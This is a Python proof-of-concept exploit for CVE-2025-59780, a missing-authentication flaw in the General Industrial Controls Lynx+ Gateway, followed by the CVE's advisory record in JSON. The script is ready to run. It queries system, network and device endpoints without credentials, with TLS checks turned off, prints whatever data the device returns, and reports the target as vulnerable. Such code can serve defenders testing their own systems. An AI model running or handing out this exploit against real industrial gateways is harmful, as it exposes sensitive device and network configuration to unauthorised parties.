CVE-2025-59780

import requests import sys import json def exploit_cve_2025_59780(target_ip, target_port=443): """ CVE-2025-59780 PoC - Lynx+ Gateway Authentication Bypass This PoC demonstrates the missing authentication vulnerability in General Industrial Controls Lynx+ Gateway web server. """ # Target URL for sensitive device information endpoints endpoints = [ "/api/system/info", "/api/network/config", "/api/device/status", "/api/system/status" ] base_url = f"https://{target_ip}:{target_port}" results = {} print(f"[*] Target: {base_url}") print(f"[*] CVE-2025-59780 - Lynx+ Gateway Authentication Bypass") print("=" * 60) for endpoint in endpoints: url = base_url + endpoint print(f"\n[*] Testing endpoint: {endpoint}") try: # Send unauthenticated GET request response = requests.get(url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Endpoint accessible without authentication") print(f"[+] Status Code: {response.status_code}") try: data = response.json() results[endpoint] = { "status": "vulnerable", "data": data } print(f"[+] Data Retrieved: {json.dumps(data, indent=2)}") except: results[endpoint] = { "status": "vulnerable", "data": response.text } print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") results[endpoint] = {"status": "protected", "code": response.status_code} except requests.exceptions.SSLVerificationError: print("[!] SSL verification error - trying with verify=False") response = requests.get(url, verify=False, timeout=10) print(f"[*] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") results[endpoint] = {"status": "error", "message": str(e)} print("\n" + "=" * 60) print("[*] Summary:") vulnerable_count = sum(1 for r in results.values() if r.get("status") == "vulnerable") print(f"[*] Vulnerable endpoints: {vulnerable_count}/{len(endpoints)}") if vulnerable_count > 0: print("[!] TARGET IS VULNERABLE TO CVE-2025-59780") else: print("[*] Target appears to be patched or not vulnerable") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_cve_2025_59780(target, port)

{"cve": {"id": "CVE-2025-59780", "sourceIdentifier": "[email protected]", "published": "2025-11-15T00:15:47.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "General Industrial Controls Lynx+ Gateway is missing critical authentication in the embedded web server which \ncould allow an attacker to send GET requests to obtain sensitive device \ninformation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-317-08.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-08", "source": "[email protected]"}]}}